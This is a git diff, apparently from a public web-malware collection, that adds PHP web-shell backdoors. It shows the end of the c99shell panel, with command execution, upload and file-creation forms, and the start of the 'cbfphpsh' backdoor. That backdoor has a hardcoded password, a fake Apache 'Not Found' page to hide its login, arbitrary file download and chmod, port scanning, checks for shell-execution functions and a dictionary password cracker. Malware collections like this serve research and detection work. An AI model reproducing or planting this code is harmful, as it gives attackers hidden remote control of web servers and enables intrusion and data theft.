+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", + +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>www.xxx.org<br>xxx<br></b>";} +?> + +<td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type="hidden" name="act" value="search"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type="submit" name="submit" value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="file" name="uploadfile"><input type="hidden" name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type="hidden" name="ft" value="edit">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="gofile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> GaRDeNFoX | <a href="http://www.spygrup.org"><font color="#FF0000">GaRDeNFoX</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); exit; ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/cbfphpsh.txt b/web-malware-collection-master/Backdoors/PHP/cbfphpsh.txt new file mode 100755 index 0000000..8fba40f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/cbfphpsh.txt @@ -0,0 +1,1552 @@ +<?php +#--Config--# +$login_password='cbfteam1'; +#----------# +error_reporting(0); +ignore_user_abort(true); +set_time_limit(0); +ini_set('max_execution_time','0'); +ini_set('memory_limit','9999M'); +ini_set('output_buffering',0); +set_magic_quotes_runtime(0); +if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS; +if(!isset($_POST))$_POST=&$HTTP_POST_VARS; +if(!isset($_GET))$_GET=&$HTTP_GET_VARS; +if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS; +$_REQUEST = array_merge($_GET,$_POST); +if(get_magic_quotes_gpc()){ +foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value); +} +function hlinK($str=''){ +$myvars=array('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF'].'?'; +$new=explode('&',$str); +foreach($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el=explode('=',$m); +if($el[0]==$key)$add=0; +} +if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";} +} +$ret.=$str; +return $ret; +} +$et='</td></tr></table>'; +if(!empty($login_password)){ +if(!empty($_REQUEST['fpassw'])){ +if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); +header('Location: '.hlinK()); +} +if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><h1>Not Found</h1> +<p>The requested URL was not found on this server.</p> +<hr> +<address>Apache Server at Port 80</address> + <style> + input { margin:0;background-color:#fff;border:1px solid #fff; } + </style> + <table><form method=post><tr><td></td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td></form>$et +</body></html>"); +} +if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']); +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=fsockopen("udp://$ip",$port); +if($scan){ +socket_set_timeout($scan,$timeout); +fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +if(!function_exists('file_get_contents')){ +function file_get_contents($addr){ +$a=fopen($addr,'r'); +$tmp=fread($a,filesize($a)); +fclose($a); +if($a)return $tmp;else return null; +} +} +if(!function_exists('file_put_contents')){ +function file_put_contents($addr,$con){ +$a=fopen($addr,'w'); +if(!$a)return 0; +$t=fwrite($a,$con); +fclose($a); +if($t)return strlen($con); +return 0; +} +} +function file_add_contentS($addr,$con){ +$a=fopen($addr,'a'); +if(!$a)return 0; +fwrite($a,$con); +fclose($a); +return strlen($con); +} +if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']); +if(!empty($_REQUEST['downloaD'])){ +ob_clean(); +$dl=$_REQUEST['downloaD']; +$con=file_get_contents($dl); +header('Content-type: application/octet-stream'); +header("Content-disposition: attachment; filename=\"$dl\";"); +header('Content-length: '.strlen($con)); +echo $con; +exit; +} +if(!empty($_REQUEST['imagE'])){ +$img=$_REQUEST['imagE']; +header('Content-type: imagE/gif'); +header("Content-length: ".filesize($img)); +header("Last-Modified: ".date('r',filemtime($img))); +echo file_get_contents($img); +exit; +} +header('Cache-Control: no-cache, must-revalidate'); +header('Expires: Mon, 7 Aug 1987 05:00:00 GMT'); +function showsizE($size){ +if($size>=1073741824)$size=round(($size/1073741824),2).' GB'; +elseif($size>=1048576)$size=round(($size/1048576),2).' MB'; +elseif($size>=1024)$size=round(($size/1024),2).' KB'; +else $size.=' B'; +return $size; +} +$windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0; +$errorbox="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td><b>Error: </b>"; +$v='1.8'; +$cwd=getcwd(); +$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td align='center'>"; +$intro="<center><table border=0 style='border-collapse: collapse'><tr><td bgcolor='#666666'>$et"; +$hcwd="<input type=hidden name=workingdiR value='$cwd'>"; +$t="<table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#333333'>"; +$crack="</td><td bgcolor='#333333'></td></tr><form method='POST' name=form><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +function checkfunctioN($func){ +global $disablefunctions,$safemode; +$safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open'); +if($safemode=='ON' && in_array($func,$safe))return 0; +elseif(function_exists($func) && is_callable($func) && !strstr($disablefunctions,$func))return 1; +return 0; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$uf=getenv('USERPROFILE'); +$af=getenv('ALLUSERSPROFILE'); +$se=ini_get('session.save_path'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uf) && is_writable($uf))return $uf; 